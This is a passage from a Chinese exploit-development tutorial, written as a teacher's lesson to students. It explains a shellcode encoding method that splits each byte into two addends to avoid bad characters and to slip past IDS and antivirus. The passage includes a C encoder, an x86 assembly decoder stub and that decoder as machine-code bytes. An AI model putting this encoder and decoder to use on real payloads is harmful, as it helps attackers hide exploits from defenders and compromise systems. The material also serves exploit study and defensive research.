5.5.1 方法一 Z=A+B

“第一种字符拆分法,是把ShellCode的每个字符‘Z’拆分成几个数字的和。比如拆成两个,即Z=A+B。如0x77,就可拆成0x77=0x01+0x76=0x02+0x75=……=0x38+0x39。”

老师歇了口气继续说:“因为和的组合方式有很多种(如0x77就有56种组合),而我们只选一种出来,所以我们可以避免大量的ASCII字符。这样,除了decode外,可以有多种变形,对一些IDS或杀毒软件都有一定效果。”

“编码算法AddCMD.cpp可像如下用C语言实现。”

#include<stdio.h>
unsigned char ShellCode[] = 
"\xF3\x78\xFE";
unsigned char BadChar[] = //不符合要求的字符
"\x00\xFF\x01";
int main()
{
    unsigned char a,b;
    unsigned char z;
    int i, j, nLen, BadLen;
    bool bSuccess;
    nLen = sizeof(ShellCode) - 1; //ShellCode长度
    BadLen = sizeof(BadChar) - 1; //不符合要求字符的长度
    bSuccess = true;
    for(i=0; i<nLen; i++)
    {
        z = ShellCode[i]; //取当前要拆分的字符
        for(a=1; a<127; a++)
        {
            if(z < a) //z比a还小,拆分失败,结束
            {
                bSuccess = false;
                printf("Failed!");
                break;
            }
            b = z - a; //否则z 拆分成a+b
            for(j=0; j<BadLen; j++) //判断a和b是否符合要求
            {
                if(a==BadChar[j] || b==BadChar[j]) //a或b不符合要求
                break;
            }
            if(j>=BadLen) //a、b都符合要求,打印出来
            {
                printf("\\x%x\\x%x",a,b);
                break; //当前z拆分成功,拆分下一个
            }
            else
            ; //a或b不符合要求,j就会<BadLen;就要改变a,继续尝试
        }
        if(!bSuccess) //某个字符拆分失败,拆分以失败告终
        {
            break;
        }
    }
    if(bSuccess)
    printf("\nSucceess!\n");
    return 0;
}

“思路很清晰,但程序似乎不大好懂啊……”大家说道。

“好,我来解释一下。‘z = ShellCode[i]’取要拆分的字符;‘for(a=1; a<127; a++)’是依次尝试a的值;通过z和a,就得到b为b=z-a;然后我们判断a和b是否符合要求,如果符合要求,就把a和b打印出来,继续拆分下一个字符;如果不合要求,‘if(a==BadChar[j] || b==BadChar[j])’就要改变a和b的值,重新拆分判断。”

“哦,这样啊!全部拆分成功就表示成功了?”

“对!我们测试一下,假设不能含有00、FE和01,ShellCode为‘\xF3\x78\xFF’,拆分的效果就如图5-14。”

“哦!F3=2+F1;78=2+76;FF=2+FD。果然生成符合要求的enShellCode了!”大家嚷道。

“嗯,那我们的解码就是每次取两个数,加起来复原?”玉波说道。

“对,解码的汇编代码如下:”

__asm
{
    lea eax,decode;
    call eax
}
__asm
{
    jmp decode_end //为了获得enShellCode的地址
    decode_start:
    pop ebx //得到enShellCode的开始位置 esp -> ebx
    xor ecx,ecx
    mov cx,0x101 //要解码的 enShellCode长度 
    xor esi,esi //esi=0
    xor edi,edi //edi=0
    decode_loop:
    mov ah,[ebx+esi]
    add ah,[ebx+esi+1] 
    mov [ebx+edi],ah //0+1放在0位中,2+3放在1位中......
    inc edi //edi每次加1
    inc esi
    inc esi //esi每次加2
    loop decode_loop
    jmp decode_ok //解码完毕后,跳到解码后的地方执行!
    decode_end:
    call decode_start
    decode_ok: //后面接编码后的enShellCode
}

“懂得了思路就比较容易理解了。依次取第0位到ah中,然后和第1位相加,得到的和存在第0位中;再取第2位和第3位相加,存在第1位中。这样就完成了解码。”

“最后,把解码的汇编提取成机器码形式的decode。如下:”

decode[] = 
  "\xEB\x1C\x5B\x33\xC9\x66\xB9\x01\x01"
  "\x33\xF6\x33\xFF\x8A\x24\x33\x02\x64"
  "\x33\x01\x88\x24\x3B\x47\x46\x46\xE2"
  "\xF1\xEB\x05\xE8\xDF\xFF\xFF\xFF"

“有了编码和解码的代码,大家下来就可自己测试了。还是先用编码程序把ShellCode编码,得到enShellCode,再把decode放在前面,得到完整的程序后执行,看看最终效果。”

测试!还是成功了!

“不错,不错,这种思路很巧妙!”大家感叹道。

“还是那句话,没有十全十美的方法。这种方法的缺点是:较小的数拆分的方式较少,像0x07这样的数,就有可能无法找到符合条件的组合。”

“当然,decode代码中仍有可能含有不合要求的字符,在这种情况下就需要采用微调的方法改变,如果微调也无效,那就可能需要换算法了。”